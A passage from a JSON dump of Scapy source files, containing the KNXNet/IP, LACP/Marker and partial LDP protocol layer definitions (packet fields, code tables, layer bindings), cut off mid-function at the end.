    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2021 Julien BEDEL <contact[at]julienbedel.com>\n#                    Claire VACHEROT <lex[at]lex.os>\n\n\"\"\"\nKNXNet/IP\n\nThis module provides Scapy layers for KNXNet/IP communications over UDP\naccording to KNX specifications v2.1 / ISO-IEC 14543-3.\nSpecifications can be downloaded for free here :\nhttps://my.knx.org/en/shop/knx-specifications\n\nCurrently, the module (partially) supports the following services :\n* SEARCH REQUEST/RESPONSE\n* DESCRIPTION REQUEST/RESPONSE\n* CONNECT, DISCONNECT, CONNECTION_STATE REQUEST/RESPONSE\n* CONFIGURATION REQUEST/RESPONSE\n* TUNNELING REQUEST/RESPONSE\n\"\"\"\n\n# scapy.contrib.description = KNX Protocol\n# scapy.contrib.status = loads\nimport struct\n\nfrom scapy.fields import PacketField, MultipleTypeField, ByteField, \\\n    XByteField, ShortEnumField, ShortField, \\\n    ByteEnumField, IPField, StrFixedLenField, MACField, XBitField, \\\n    PacketListField, FieldLenField, \\\n    StrLenField, BitEnumField, BitField, ConditionalField\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up, Padding\nfrom scapy.layers.inet import UDP\n\n# KNX CODES\n\n# KNX Standard v2.1 - 03_08_02 p20\nSERVICE_IDENTIFIER_CODES = {\n    0x0201: \"SEARCH_REQUEST\",\n    0x0202: \"SEARCH_RESPONSE\",\n    0x0203: \"DESCRIPTION_REQUEST\",\n    0x0204: \"DESCRIPTION_RESPONSE\",\n    0x0205: \"CONNECT_REQUEST\",\n    0x0206: \"CONNECT_RESPONSE\",\n    0x0207: \"CONNECTIONSTATE_REQUEST\",\n    0x0208: \"CONNECTIONSTATE_RESPONSE\",\n    0x0209: \"DISCONNECT_REQUEST\",\n    0x020A: \"DISCONNECT_RESPONSE\",\n    0x0310: \"CONFIGURATION_REQUEST\",\n    0x0311: \"CONFIGURATION_ACK\",\n    0x0420: \"TUNNELING_REQUEST\",\n    0x0421: \"TUNNELING_ACK\"\n}\n\n# KNX Standard v2.1 - 03_08_02 p39\nHOST_PROTOCOL_CODES = {\n    0x01: \"IPV4_UDP\",\n    0x02: \"IPV4_TCP\"\n}\n\n# KNX Standard v2.1 - 03_08_02 p23\nDESCRIPTION_TYPE_CODES = {\n    0x01: \"DEVICE_INFO\",\n    0x02: \"SUPP_SVC_FAMILIES\",\n    0x03: \"IP_CONFIG\",\n    0x04: \"IP_CUR_CONFIG\",\n    0x05: \"KNX_ADDRESSES\",\n    0x06: \"Reserved\",\n    0xFE: \"MFR_DATA\",\n    0xFF: \"not used\"\n}\n\n# KNX Standard v2.1 - 03_08_02 p30\nCONNECTION_TYPE_CODES = {\n    0x03: \"DEVICE_MANAGEMENT_CONNECTION\",\n    0x04: \"TUNNEL_CONNECTION\",\n    0x06: \"REMLOG_CONNECTION\",\n    0x07: \"REMCONF_CONNECTION\",\n    0x08: \"OBJSVR_CONNECTION\"\n}\n\n# KNX Standard v2.1 - 03_08_04\nMESSAGE_CODES = {\n    0x11: \"L_Data.req\",\n    0x2e: \"L_Data.con\",\n    0xFC: \"M_PropRead.req\",\n    0xFB: \"M_PropRead.con\",\n    0xF6: \"M_PropWrite.req\",\n    0xF5: \"M_PropWrite.con\"\n}\n\n# KNX Standard v2.1 - 03_08_02 p24\nKNX_MEDIUM_CODES = {\n    0x01: \"reserved\",\n    0x02: \"TP1\",\n    0x04: \"PL110\",\n    0x08: \"reserved\",\n    0x10: \"RF\",\n    0x20: \"KNX IP\"\n}\n\n# KNX Standard v2.1 - 03_03_07 p9\nKNX_ACPI_CODES = {\n    0: \"GroupValueRead\",\n    1: \"GroupValueResp\",\n    2: \"GroupValueWrite\",\n    3: \"IndAddrWrite\",\n    4: \"IndAddrRead\",\n    5: \"IndAddrResp\",\n    6: \"AdcRead\",\n    7: \"AdcResp\"\n}\n\nCEMI_OBJECT_TYPES = {\n    0: \"DEVICE\",\n    11: \"IP PARAMETER_OBJECT\"\n}\n\n# KNX Standard v2.1 - 03_05_01 p25\nCEMI_PROPERTIES = {\n    12: \"PID_MANUFACTURER_ID\",\n    51: \"PID_PROJECT_INSTALLATION_ID\",\n    52: \"PID_KNX_INDIVIDUAL_ADDRESS\",\n    53: \"PID_ADDITIONAL_INDIVIDUAL_ADDRESSES\",\n    54: \"PID_CURRENT_IP_ASSIGNMENT_METHOD\",\n    55: \"PID_IP_ASSIGNMENT_METHOD\",\n    56: \"PID_IP_CAPABILITIES\",\n    57: \"PID_CURRENT_IP_ADDRESS\",\n    58: \"PID_CURRENT_SUBNET_MASK\",\n    59: \"PID_CURRENT_DEFAULT_GATEWAY\",\n    60: \"PID_IP_ADDRESS\",\n    61: \"PID_SUBNET_MASK\",\n    62: \"PID_DEFAULT_GATEWAY\",\n    63: \"PID_DHCP_BOOTP_SERVER\",\n    64: \"PID_MAC_ADDRESS\",\n    65: \"PID_SYSTEM_SETUP_MULTICAST_ADDRESS\",\n    66: \"PID_ROUTING_MULTICAST_ADDRESS\",\n    67: \"PID_TTL\",\n    68: \"PID_KNXNETIP_DEVICE_CAPABILITIES\",\n    69: \"PID_KNXNETIP_DEVICE_STATE\",\n    70: \"PID_KNXNETIP_ROUTING_CAPABILITIES\",\n    71: \"PID_PRIORITY_FIFO_ENABLED\",\n    72: \"PID_QUEUE_OVERFLOW_TO_IP\",\n    73: \"PID_QUEUE_OVERFLOW_TO_KNX\",\n    74: \"PID_MSG_TRANSMIT_TO_IP\",\n    75: \"PID_MSG_TRANSMIT_TO_KNX\",\n    76: \"PID_FRIENDLY_NAME\",\n    78: \"PID_ROUTING_BUSY_WAIT_TIME\"\n}\n\n\n# KNX SPECIFIC FIELDS\n\n# KNX Standard v2.1 - 03_05_01 p.17\nclass KNXAddressField(ShortField):\n    def i2repr(self, pkt, x):\n        if x is None:\n            return None\n        else:\n            return \"%d.%d.%d\" % ((x >> 12) & 0xf, (x >> 8) & 0xf, (x & 0xff))\n\n    def any2i(self, pkt, x):\n        if isinstance(x, str):\n            try:\n                a, b, c = map(int, x.split(\".\"))\n                x = (a << 12) | (b << 8) | c\n            except ValueError:\n                raise ValueError(x)\n        return ShortField.any2i(self, pkt, x)\n\n\n# KNX Standard v2.1 - 03_05_01 p.18\nclass KNXGroupField(ShortField):\n    def i2repr(self, pkt, x):\n        return \"%d/%d/%d\" % ((x >> 11) & 0x1f, (x >> 8) & 0x7, (x & 0xff))\n\n    def any2i(self, pkt, x):\n        if isinstance(x, str):\n            try:\n                a, b, c = map(int, x.split(\"/\"))\n                x = (a << 11) | (b << 8) | c\n            except ValueError:\n                raise ValueError(x)\n        return ShortField.any2i(self, pkt, x)\n\n\n# KNX PLACEHOLDERS\n\n# KNX Standard v2.1 - 03_08_02 p21\nclass HPAI(Packet):\n    name = \"HPAI\"\n    fields_desc = [\n        ByteField(\"structure_length\", None),\n        ByteEnumField(\"host_protocol\", 0x01, HOST_PROTOCOL_CODES),\n        IPField(\"ip_address\", None),\n        ShortField(\"port\", None)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        return p + pay\n\n\n# DIB, KNX Standard v2.1 - 03_08_02 p22\nclass ServiceFamily(Packet):\n    name = \"Service Family\"\n    fields_desc = [\n        ByteField(\"id\", None),\n        ByteField(\"version\", None)\n    ]\n\n\n# Different DIB types depends on the \"description_type_code\" field\n# Defining a generic DIB packet and differentiating with `dispatch_hook` or\n# `MultipleTypeField` may better fit KNX specs\nclass DIBDeviceInfo(Packet):\n    name = \"DIB: DEVICE_INFO\"\n    fields_desc = [\n        ByteField(\"structure_length\", None),\n        ByteEnumField(\"description_type\", 0x01, DESCRIPTION_TYPE_CODES),\n        ByteEnumField(\"knx_medium\", 0x02, KNX_MEDIUM_CODES),\n        ByteField(\"device_status\", None),\n        KNXAddressField(\"knx_address\", None),\n        ShortField(\"project_installation_identifier\", None),\n        XBitField(\"device_serial_number\", None, 48),\n        IPField(\"device_multicast_address\", None),\n        MACField(\"device_mac_address\", None),\n        StrFixedLenField(\"device_friendly_name\", None, 30)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        return p + pay\n\n\nclass DIBSuppSvcFamilies(Packet):\n    name = \"DIB: SUPP_SVC_FAMILIES\"\n    fields_desc = [\n        ByteField(\"structure_length\", 0x02),\n        ByteEnumField(\"description_type\", 0x02, DESCRIPTION_TYPE_CODES),\n        ConditionalField(\n            PacketListField(\"service_family\",\n                            ServiceFamily(),\n                            ServiceFamily,\n                            length_from=lambda pkt:\n                            pkt.structure_length - 0x02),\n            lambda pkt: pkt.structure_length > 0x02)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        return p + pay\n\n\n# CRI and CRD, KNX Standard v2.1 - 03_08_02 p21\n\nclass TunnelingConnection(Packet):\n    name = \"Tunneling Connection\"\n    fields_desc = [\n        ByteField(\"knx_layer\", 0x02),\n        ByteField(\"reserved\", None)\n    ]\n\n\nclass CRDTunnelingConnection(Packet):\n    name = \"CRD Tunneling Connection\"\n    fields_desc = [\n        KNXAddressField(\"knx_individual_address\", None)\n    ]\n\n\nclass CRI(Packet):\n    name = \"CRI (Connection Request Information)\"\n    fields_desc = [\n        ByteField(\"structure_length\", 0x02),\n        ByteEnumField(\"connection_type\", 0x03, CONNECTION_TYPE_CODES),\n        ConditionalField(PacketField(\"connection_data\",\n                                     TunnelingConnection(),\n                                     TunnelingConnection),\n                         lambda pkt: pkt.connection_type == 0x04)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        return p + pay\n\n\nclass CRD(Packet):\n    name = \"CRD (Connection Response Data)\"\n    fields_desc = [\n        ByteField(\"structure_length\", 0x00),\n        ByteEnumField(\"connection_type\", 0x03, CONNECTION_TYPE_CODES),\n        ConditionalField(PacketField(\"connection_data\",\n                                     CRDTunnelingConnection(),\n                                     CRDTunnelingConnection),\n                         lambda pkt: pkt.connection_type == 0x04)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        return p + pay\n\n\n# cEMI blocks\n\nclass LcEMI(Packet):\n    name = \"L_cEMI\"\n    fields_desc = [\n        FieldLenField(\"additional_information_length\", 0, fmt=\"B\",\n                      length_of=\"additional_information\"),\n        StrLenField(\"additional_information\", None,\n                    length_from=lambda pkt: pkt.additional_information_length),\n        # Controlfield 1 (1 byte made of 8*1 bits)\n        BitEnumField(\"frame_type\", 1, 1, {\n            1: \"standard\"\n        }),\n        BitField(\"reserved_1\", 0, 1),\n        BitField(\"repeat_on_error\", 1, 1),\n        BitEnumField(\"broadcast_type\", 1, 1, {\n            1: \"domain\"\n        }),\n        BitEnumField(\"priority\", 3, 2, {\n            3: \"low\"\n        }),\n        BitField(\"ack_request\", 0, 1),\n        BitField(\"confirmation_error\", 0, 1),\n        # Controlfield 2 (1 byte made of 1+3+4 bits)\n        BitEnumField(\"address_type\", 1, 1, {\n            1: \"group\"\n        }),\n        BitField(\"hop_count\", 6, 3),\n        BitField(\"extended_frame_format\", 0, 4),\n        KNXAddressField(\"source_address\", None),\n        KNXGroupField(\"destination_address\", \"1/2/3\"),\n        FieldLenField(\"npdu_length\", 0x01, fmt=\"B\", length_of=\"data\"),\n        # TPCI and APCI (2 byte made of 1+1+4+4+6 bits)\n        BitEnumField(\"packet_type\", 0, 1, {\n            0: \"data\"\n        }),\n        BitEnumField(\"sequence_type\", 0, 1, {\n            0: \"unnumbered\"\n        }),\n        BitField(\"reserved_2\", 0, 4),\n        BitEnumField(\"acpi\", 2, 4, KNX_ACPI_CODES),\n        BitField(\"data\", 0, 6)\n\n    ]\n\n\nclass DPcEMI(Packet):\n    name = \"DP_cEMI\"\n    fields_desc = [\n        # see if best representation is str or hex\n        ShortField(\"object_type\", None),\n        ByteField(\"object_instance\", 1),\n        ByteField(\"property_id\", None),\n        BitField(\"number_of_elements\", 1, 4),\n        BitField(\"start_index\", None, 12)\n    ]\n\n\nclass CEMI(Packet):\n    name = \"CEMI\"\n    fields_desc = [\n        ByteEnumField(\"message_code\", None, MESSAGE_CODES),\n        MultipleTypeField(\n            [\n                (PacketField(\"cemi_data\", LcEMI(), LcEMI),\n                 lambda pkt: pkt.message_code == 0x11),\n                (PacketField(\"cemi_data\", LcEMI(), LcEMI),\n                 lambda pkt: pkt.message_code == 0x2e),\n                (PacketField(\"cemi_data\", DPcEMI(), DPcEMI),\n                 lambda pkt: pkt.message_code == 0xFC),\n                (PacketField(\"cemi_data\", DPcEMI(), DPcEMI),\n                 lambda pkt: pkt.message_code == 0xFB),\n                (PacketField(\"cemi_data\", DPcEMI(), DPcEMI),\n                 lambda pkt: pkt.message_code == 0xF6),\n                (PacketField(\"cemi_data\", DPcEMI(), DPcEMI),\n                 lambda pkt: pkt.message_code == 0xF5)\n            ],\n            PacketField(\"cemi_data\", LcEMI(), LcEMI)\n        )\n    ]\n\n\n# KNX SERVICES\n\n# KNX Standard v2.1 - 03_08_02 p28\nclass KNXSearchRequest(Packet):\n    name = \"SEARCH_REQUEST\",\n    fields_desc = [\n        PacketField(\"discovery_endpoint\", HPAI(), HPAI)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p28\nclass KNXSearchResponse(Packet):\n    name = \"SEARCH_RESPONSE\",\n    fields_desc = [\n        PacketField(\"control_endpoint\", HPAI(), HPAI),\n        PacketField(\"device_info\", DIBDeviceInfo(), DIBDeviceInfo),\n        PacketField(\"supported_service_families\", DIBSuppSvcFamilies(),\n                    DIBSuppSvcFamilies)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p29\nclass KNXDescriptionRequest(Packet):\n    name = \"DESCRIPTION_REQUEST\"\n    fields_desc = [\n        PacketField(\"control_endpoint\", HPAI(), HPAI)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p29\nclass KNXDescriptionResponse(Packet):\n    name = \"DESCRIPTION_RESPONSE\"\n    fields_desc = [\n        PacketField(\"device_info\", DIBDeviceInfo(), DIBDeviceInfo),\n        PacketField(\"supported_service_families\", DIBSuppSvcFamilies(),\n                    DIBSuppSvcFamilies)\n        # TODO: this is an optional field in KNX specs,\n        #  => Add conditions to take it into account\n        # PacketField(\"other_device_info\", DIBDeviceInfo(), DIBDeviceInfo)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p30\nclass KNXConnectRequest(Packet):\n    name = \"CONNECT_REQUEST\"\n    fields_desc = [\n        PacketField(\"control_endpoint\", HPAI(), HPAI),\n        PacketField(\"data_endpoint\", HPAI(), HPAI),\n        PacketField(\"connection_request_information\", CRI(), CRI)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p31\nclass KNXConnectResponse(Packet):\n    name = \"CONNECT_RESPONSE\"\n    fields_desc = [\n        ByteField(\"communication_channel_id\", None),\n        ByteField(\"status\", None),\n        PacketField(\"data_endpoint\", HPAI(), HPAI),\n        PacketField(\"connection_response_data_block\", CRD(), CRD)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p32\nclass KNXConnectionstateRequest(Packet):\n    name = \"CONNECTIONSTATE_REQUEST\"\n    fields_desc = [\n        ByteField(\"communication_channel_id\", None),\n        ByteField(\"reserved\", None),\n        PacketField(\"control_endpoint\", HPAI(), HPAI)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p32\nclass KNXConnectionstateResponse(Packet):\n    name = \"CONNECTIONSTATE_RESPONSE\"\n    fields_desc = [\n        ByteField(\"communication_channel_id\", None),\n        ByteField(\"status\", 0x00)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p33\nclass KNXDisconnectRequest(Packet):\n    name = \"DISCONNECT_REQUEST\"\n    fields_desc = [\n        ByteField(\"communication_channel_id\", 0x01),\n        ByteField(\"reserved\", None),\n        PacketField(\"control_endpoint\", HPAI(), HPAI)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_02 p34\nclass KNXDisconnectResponse(Packet):\n    name = \"DISCONNECT_RESPONSE\"\n    fields_desc = [\n        ByteField(\"communication_channel_id\", None),\n        ByteField(\"status\", 0x00)\n    ]\n\n\n# KNX Standard v2.1 - 03_08_03 p22\nclass KNXConfigurationRequest(Packet):\n    name = \"CONFIGURATION_REQUEST\"\n    fields_desc = [\n        ByteField(\"structure_length\", 0x04),\n        ByteField(\"communication_channel_id\", 0x01),\n        ByteField(\"sequence_counter\", None),\n        ByteField(\"reserved\", None),\n        PacketField(\"cemi\", CEMI(), CEMI)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p[:4])) + p[1:]\n        return p + pay\n\n\n# KNX Standard v2.1 - 03_08_03 p22\nclass KNXConfigurationACK(Packet):\n    name = \"CONFIGURATION_ACK\"\n    fields_desc = [\n        ByteField(\"structure_length\", None),\n        ByteField(\"communication_channel_id\", 0x01),\n        ByteField(\"sequence_counter\", None),\n        ByteField(\"status\", None)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        return p + pay\n\n\n# KNX Standard v2.1 - 03_08_04 p.17\nclass KNXTunnelingRequest(Packet):\n    name = \"TUNNELING_REQUEST\"\n    fields_desc = [\n        ByteField(\"structure_length\", 0x04),\n        ByteField(\"communication_channel_id\", 0x01),\n        ByteField(\"sequence_counter\", None),\n        ByteField(\"reserved\", None),\n        PacketField(\"cemi\", CEMI(), CEMI)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p[:4])) + p[1:]\n        return p + pay\n\n\n# KNX Standard v2.1 - 03_08_04 p.18\nclass KNXTunnelingACK(Packet):\n    name = \"TUNNELING_ACK\"\n    fields_desc = [\n        ByteField(\"structure_length\", None),\n        ByteField(\"communication_channel_id\", 0x01),\n        ByteField(\"sequence_counter\", None),\n        ByteField(\"status\", None)\n    ]\n\n    def post_build(self, p, pay):\n        if self.structure_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        return p + pay\n\n\n# KNX FRAME\n\n# we made the choice to define a KNX service as a payload for a KNX Header\n# it could also be possible to define the body as a conditional PacketField\n# contained after header\n\nclass KNX(Packet):\n    name = \"KNXnet/IP\"\n    fields_desc = [\n        ByteField(\"header_length\", None),\n        XByteField(\"protocol_version\", 0x10),\n        ShortEnumField(\"service_identifier\", None, SERVICE_IDENTIFIER_CODES),\n        ShortField(\"total_length\", None)\n    ]\n\n    def post_build(self, p, pay):\n        # computes header_length\n        if self.header_length is None:\n            p = struct.pack(\"!B\", len(p)) + p[1:]\n        # computes total_length\n        if self.total_length is None:\n            p = p[:-2] + struct.pack(\"!H\", len(p) + len(pay))\n        return p + pay\n\n\n# LAYERS BINDING\nbind_bottom_up(UDP, KNX, dport=3671)\nbind_bottom_up(UDP, KNX, sport=3671)\nbind_layers(UDP, KNX, sport=3671, dport=3671)\n\nbind_layers(KNX, KNXSearchRequest, service_identifier=0x0201)\nbind_layers(KNX, KNXSearchResponse, service_identifier=0x0202)\nbind_layers(KNX, KNXDescriptionRequest, service_identifier=0x0203)\nbind_layers(KNX, KNXDescriptionResponse, service_identifier=0x0204)\nbind_layers(KNX, KNXConnectRequest, service_identifier=0x0205)\nbind_layers(KNX, KNXConnectResponse, service_identifier=0x0206)\nbind_layers(KNX, KNXConnectionstateRequest, service_identifier=0x0207)\nbind_layers(KNX, KNXConnectionstateResponse, service_identifier=0x0208)\nbind_layers(KNX, KNXDisconnectResponse, service_identifier=0x020A)\nbind_layers(KNX, KNXDisconnectRequest, service_identifier=0x0209)\nbind_layers(KNX, KNXConfigurationRequest, service_identifier=0x0310)\nbind_layers(KNX, KNXConfigurationACK, service_identifier=0x0311)\nbind_layers(KNX, KNXTunnelingRequest, service_identifier=0x0420)\nbind_layers(KNX, KNXTunnelingACK, service_identifier=0x0421)\n\n# we bind every layer to Padding in order to delete their payloads\n# (from https://github.com/secdev/scapy/issues/360)\n# we could also define a new Packet class with no payload and\n# inherit every KNX packet from it :\n# class _KNXBodyNoPayload(Packet):\n#\n#     def extract_padding(self, s):\n#         return b\"\", None\n\nbind_layers(HPAI, Padding)\nbind_layers(ServiceFamily, Padding)\nbind_layers(DIBDeviceInfo, Padding)\nbind_layers(DIBSuppSvcFamilies, Padding)\nbind_layers(TunnelingConnection, Padding)\nbind_layers(CRDTunnelingConnection, Padding)\nbind_layers(CRI, Padding)\nbind_layers(CRD, Padding)\nbind_layers(LcEMI, Padding)\nbind_layers(DPcEMI, Padding)\nbind_layers(CEMI, Padding)\n\nbind_layers(KNXSearchRequest, Padding)\nbind_layers(KNXSearchResponse, Padding)\nbind_layers(KNXDescriptionRequest, Padding)\nbind_layers(KNXDescriptionResponse, Padding)\nbind_layers(KNXConnectRequest, Padding)\nbind_layers(KNXConnectResponse, Padding)\nbind_layers(KNXConnectionstateRequest, Padding)\nbind_layers(KNXConnectionstateResponse, Padding)\nbind_layers(KNXDisconnectRequest, Padding)\nbind_layers(KNXDisconnectResponse, Padding)\nbind_layers(KNXConfigurationRequest, Padding)\nbind_layers(KNXConfigurationACK, Padding)\nbind_layers(KNXTunnelingRequest, Padding)\nbind_layers(KNXTunnelingACK, Padding)\n"
  },
  {
    "path": "scapy/contrib/lacp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Link Aggregation Control Protocol (LACP)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteField, MACField, ShortField, ByteEnumField, IntField, XStrFixedLenField  # noqa: E501\nfrom scapy.contrib.slowprot import SlowProtocol\n\n\nclass LACP(Packet):\n    name = \"LACP\"\n    deprecated_fields = {\n        \"actor_port_numer\": (\"actor_port_number\", \"2.4.4\"),\n        \"partner_port_numer\": (\"partner_port_number\", \"2.4.4\"),\n        \"colletctor_reserved\": (\"collector_reserved\", \"2.4.4\"),\n    }\n    fields_desc = [\n        ByteField(\"version\", 1),\n        ByteField(\"actor_type\", 1),\n        ByteField(\"actor_length\", 20),\n        ShortField(\"actor_system_priority\", 0),\n        MACField(\"actor_system\", None),\n        ShortField(\"actor_key\", 0),\n        ShortField(\"actor_port_priority\", 0),\n        ShortField(\"actor_port_number\", 0),\n        ByteField(\"actor_state\", 0),\n        XStrFixedLenField(\"actor_reserved\", \"\", 3),\n        ByteField(\"partner_type\", 2),\n        ByteField(\"partner_length\", 20),\n        ShortField(\"partner_system_priority\", 0),\n        MACField(\"partner_system\", None),\n        ShortField(\"partner_key\", 0),\n        ShortField(\"partner_port_priority\", 0),\n        ShortField(\"partner_port_number\", 0),\n        ByteField(\"partner_state\", 0),\n        XStrFixedLenField(\"partner_reserved\", \"\", 3),\n        ByteField(\"collector_type\", 3),\n        ByteField(\"collector_length\", 16),\n        ShortField(\"collector_max_delay\", 0),\n        XStrFixedLenField(\"collector_reserved\", \"\", 12),\n        ByteField(\"terminator_type\", 0),\n        ByteField(\"terminator_length\", 0),\n        XStrFixedLenField(\"reserved\", \"\", 50),\n    ]\n\n\nbind_layers(SlowProtocol, LACP, subtype=1)\n\nMARKER_TYPES = {\n    'Marker Request': 1,\n    'Marker Response': 2,\n}\n\n\nclass MarkerProtocol(Packet):\n    name = \"MarkerProtocol\"\n    fields_desc = [\n        ByteField(\"version\", 1),\n        ByteEnumField(\"marker_type\", 1, MARKER_TYPES),\n        ByteField(\"marker_length\", 16),\n        ShortField(\"requester_port\", 0),\n        MACField(\"requester_system\", None),\n        IntField(\"requester_transaction_id\", 0),\n        XStrFixedLenField(\"marker_reserved\", \"\", 2),\n        ByteField(\"terminator_type\", 0),\n        ByteField(\"terminator_length\", 0),\n        XStrFixedLenField(\"reserved\", 0, 90),\n    ]\n\n\nbind_layers(SlowProtocol, MarkerProtocol, subtype=2)\n"
  },
  {
    "path": "scapy/contrib/ldp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2010 Florian Duraffourg\n\n# scapy.contrib.description = Label Distribution Protocol (LDP)\n# scapy.contrib.status = loads\n\n\"\"\"\nLabel Distribution Protocol (LDP)\n\nhttp://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz\n\n\"\"\"\n\nimport struct\n\nfrom scapy.compat import orb\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import (\n    BitField,\n    MayEnd,\n    IPField,\n    IntField,\n    ShortField,\n    StrField,\n    XBitField,\n)\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.inet import TCP\nfrom scapy.config import conf\nfrom scapy.utils import inet_aton, inet_ntoa\n\n\nclass _LDP_Packet(Packet):\n    # Guess payload\n    def guess_payload_class(self, p):\n        LDPTypes = {\n            0x0001: LDPNotification,\n            0x0100: LDPHello,\n            0x0200: LDPInit,\n            0x0201: LDPKeepAlive,\n            0x0300: LDPAddress,\n            0x0301: LDPAddressWM,\n            0x0400: LDPLabelMM,\n            0x0401: LDPLabelReqM,\n            0x0404: LDPLabelARM,\n            0x0402: LDPLabelWM,\n            0x0403: LDPLabelRelM,\n        }\n        type = struct.unpack(\"!H\", p[0:2])[0]\n        type = type & 0x7fff\n        if type == 0x0001 and struct.unpack(\"!H\", p[2:4])[0] > 20:\n            return LDP\n        if type in LDPTypes:\n            return LDPTypes[type]\n        else:\n            return conf.raw_layer\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(p) - 4\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n        return p + pay\n\n#  Fields  #\n\n# 3.4.1. FEC TLV\n\n\nclass FecTLVField(StrField):\n    islist = 1\n\n    def m2i(self, pkt, x):\n        used = 0\n        x = x[4:]\n        list = []\n        while x:\n            # if x[0] == 1:\n            #   list.append('Wildcard')\n            # else:\n            # mask=orb(x[8*i+3])\n            # add=inet_ntoa(x[8*i+4:8*i+8])\n            mask = orb(x[3])\n            nbroctets = mask // 8\n            if mask % 8:\n                nbroctets += 1\n            add = inet_ntoa(x[4:4 + nbroctets] + b\"\\x00\" * (4 - nbroctets))\n            list.append((add, mask))\n            used += 4 + nbroctets\n            x = x[4 + nbroctets:]\n        return list\n\n    def i2m(self, pkt, x):\n        if not x:\n            return b\"\"\n        if isinstance(x, bytes):\n            return x\n        s = b\"\\x01\\x00\"\n        tmp_len = 0\n        fec = b\"\"\n        for o in x:\n            fec += b\"\\x02\\x00\\x01\"\n            # mask length\n            fec += struct.pack(\"!B\", o[1])\n            # Prefix\n            fec += inet_aton(o[0])\n            tmp_len += 8\n        s += struct.pack(\"!H\", tmp_len)\n        s += fec\n        return s\n\n    def size(self, s):\n        \"\"\"Get the size of this field\"\"\"\n        tmp_len = 4 + struct.unpack(\"!H\", s[2:4])[0]\n        return tmp_len\n\n    def getfield(self, pkt, s):\n        tmp_len = self.size(s)\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n\n# 3.4.2.1. Generic Label TLV\n\nclass LabelTLVField(StrField):\n    def m2i(self, pkt, x):\n        return struct.unpack(\"!I\", x[4:8])[0]\n\n    def i2m(self, pkt, x):\n        if isinstance(x, bytes):\n            return x\n        s = b\"\\x02\\x00\\x00\\x04\"\n        s += struct.pack(\"!I\", x)\n        return s\n\n    def size(self, s):\n        \"\"\"Get the size of this field\"\"\"\n        tmp_len = 4 + struct.unpack(\"!H\", s[2:4])[0]\n        return tmp_len\n\n    def getfield(self, pkt, s):\n        tmp_len = self.size(s)\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n\n# 3.4.3. Address List TLV\n\nclass AddressTLVField(StrField):\n    islist = 1\n\n    def m2i(self, pkt, x):\n        nbr = struct.unpack(\"!H\", x[2:4])[0] - 2\n        nbr //= 4\n        x = x[6:]\n        list = []\n        for i in range(0, nbr):\n            add = x[4 * i:4 * i + 4]\n            list.append(inet_ntoa(add))\n        return list\n\n    def i2m(self, pkt, x):\n        if not x:\n            return b\"\"\n        if isinstance(x, bytes):\n            return x\n        tmp_len = 2 + len(x) * 4\n        s = b\"\\x01\\x01\" + struct.pack(\"!H\", tmp_len) + b\"\\x00\\x01\"\n        for o in x:\n            s += inet_aton(o)\n        return s\n\n    def size(self, s):\n        \"\"\"Get the size of this field\"\"\"\n        tmp_len = 4 + struct.unpack(\"!H\", s[2:4])[0]\n        return tmp_len\n\n    def getfield(self, pkt, s):\n        if not s:\n            return s, []\n        tmp_len = self.size(s)\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n\n# 3.4.6. Status TLV\n\nclass StatusTLVField(StrField):\n    islist = 1\n\n    def m2i(self, pkt, x):\n        lst = []\n        statuscode = struct.unpack(\"!I\", x[4:8])[0]\n        lst.append((statuscode & 2**31) >> 31)\n        lst.append((statuscode & 2**30) >> 30)\n        lst.append(statuscode & 0x3FFFFFFF)\n        lst.append(struct.unpack(\"!I\", x[8:12])[0])\n        lst.append(struct.unpack(\"!H\", x[12:14])[0])\n        return lst\n\n    def i2m(self, pkt, x):\n        if isinstance(x, bytes):\n            return x\n        s = b\"\\x03\\x00\" + struct.pack(\"!H\", 10)\n        statuscode = 0\n        if x[0] != 0:\n            statuscode += 2**31\n        if x[1] != 0:\n            statuscode += 2**30\n        statuscode += x[2]\n        s += struct.pack(\"!I\", statuscode)\n        if len(x) > 3:\n            s += struct.pack(\"!I\", 